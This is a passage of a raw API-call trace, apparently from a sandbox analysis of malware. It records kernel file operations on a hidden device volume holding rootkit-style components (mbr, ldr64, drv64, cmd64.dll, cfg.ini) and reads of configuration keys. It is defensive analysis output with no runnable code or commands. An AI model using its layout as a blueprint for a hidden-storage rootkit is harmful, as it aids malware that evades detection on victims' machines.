(Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.379] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.379] KeLeaveCriticalRegion () [0126.379] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.379] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.379] KeEnterCriticalRegion () [0126.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.379] ExFreePoolWithTag (P=0xfffffa8007df3b10, Tag=0x0) [0126.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.379] KeLeaveCriticalRegion () [0126.379] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.379] ReleaseMutex (hMutex=0xf0) returned 1 [0126.379] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.379] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.379] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.379] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.379] KeEnterCriticalRegion () [0126.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.379] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.379] IdePortDispatch () returned 0x103 [0126.379] KeWaitForMutexObject () returned 0x0 [0126.379] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.379] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.379] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.379] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.379] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.379] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.379] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.380] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.380] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.380] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.380] KeLeaveCriticalRegion () [0126.380] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.380] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.380] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.380] KeEnterCriticalRegion () [0126.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.380] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.380] IdePortDispatch () returned 0x103 [0126.380] KeWaitForMutexObject () returned 0x0 [0126.380] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.380] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.380] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.380] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.380] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.380] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.380] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.380] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.380] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.380] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.380] KeLeaveCriticalRegion () [0126.380] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.380] ReleaseMutex (hMutex=0x100) returned 1 [0126.380] Sleep (dwMilliseconds=0x2bf20) [0126.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e87dc10, dwHighDateTime=0x1d24fa4)) [0126.387] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.387] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.387] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.387] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.387] KeEnterCriticalRegion () [0126.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.387] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.387] IdePortDispatch () returned 0x103 [0126.388] KeWaitForMutexObject () returned 0x0 [0126.388] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.388] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.388] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.388] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.388] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.388] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037d9160 [0126.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.388] KeLeaveCriticalRegion () [0126.388] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.388] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.388] KeEnterCriticalRegion () [0126.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.388] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.388] KeLeaveCriticalRegion () [0126.388] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.388] KeEnterCriticalRegion () [0126.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.388] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.388] IdePortDispatch () returned 0x103 [0126.388] KeWaitForMutexObject () returned 0x0 [0126.389] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.389] KeLeaveCriticalRegion () [0126.389] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.389] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.389] KeEnterCriticalRegion () [0126.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.389] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003489000 [0126.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.389] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.389] IdePortDispatch () returned 0x103 [0126.389] KeWaitForMutexObject () returned 0x0 [0126.389] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.389] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.389] IdePortDispatch () returned 0x103 [0126.389] KeWaitForMutexObject () returned 0x0 [0126.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.389] KeLeaveCriticalRegion () [0126.389] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.390] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.390] KeEnterCriticalRegion () [0126.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.390] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.390] KeLeaveCriticalRegion () [0126.390] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.390] KeEnterCriticalRegion () [0126.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.390] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.390] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.390] KeLeaveCriticalRegion () [0126.390] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.390] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.390] KeEnterCriticalRegion () [0126.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.390] ExFreePoolWithTag (P=0xfffffa80037d9160, Tag=0x0) [0126.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.390] KeLeaveCriticalRegion () [0126.390] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.390] ReleaseMutex (hMutex=0xf0) returned 1 [0126.390] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.390] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.391] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.391] KeEnterCriticalRegion () [0126.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.391] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.391] IdePortDispatch () returned 0x103 [0126.391] KeWaitForMutexObject () returned 0x0 [0126.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.391] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.391] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.391] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.391] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.391] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8007081bc0 [0126.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.391] KeLeaveCriticalRegion () [0126.391] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.391] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.391] KeEnterCriticalRegion () [0126.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.391] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.391] KeLeaveCriticalRegion () [0126.391] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.391] KeEnterCriticalRegion () [0126.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.391] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.391] IdePortDispatch () returned 0x103 [0126.392] KeWaitForMutexObject () returned 0x0 [0126.392] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.392] KeLeaveCriticalRegion () [0126.392] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.392] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.392] KeEnterCriticalRegion () [0126.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.392] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348a000 [0126.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.392] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.392] IdePortDispatch () returned 0x103 [0126.392] KeWaitForMutexObject () returned 0x0 [0126.392] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.392] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.392] IdePortDispatch () returned 0x103 [0126.392] KeWaitForMutexObject () returned 0x0 [0126.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.393] KeLeaveCriticalRegion () [0126.393] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.393] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.393] KeEnterCriticalRegion () [0126.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.393] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.393] KeLeaveCriticalRegion () [0126.393] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.393] KeEnterCriticalRegion () [0126.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.393] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.393] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.393] KeLeaveCriticalRegion () [0126.393] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.393] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.393] KeEnterCriticalRegion () [0126.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.393] ExFreePoolWithTag (P=0xfffffa8007081bc0, Tag=0x0) [0126.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.393] KeLeaveCriticalRegion () [0126.393] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.394] ReleaseMutex (hMutex=0xf0) returned 1 [0126.394] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.394] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.394] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.394] KeEnterCriticalRegion () [0126.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.394] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.394] IdePortDispatch () returned 0x103 [0126.394] KeWaitForMutexObject () returned 0x0 [0126.394] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.394] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.394] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.394] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.394] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.394] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.394] KeLeaveCriticalRegion () [0126.394] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.394] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.394] KeEnterCriticalRegion () [0126.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.394] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.394] KeLeaveCriticalRegion () [0126.394] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.394] KeEnterCriticalRegion () [0126.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.394] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.394] IdePortDispatch () returned 0x103 [0126.395] KeWaitForMutexObject () returned 0x0 [0126.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.395] 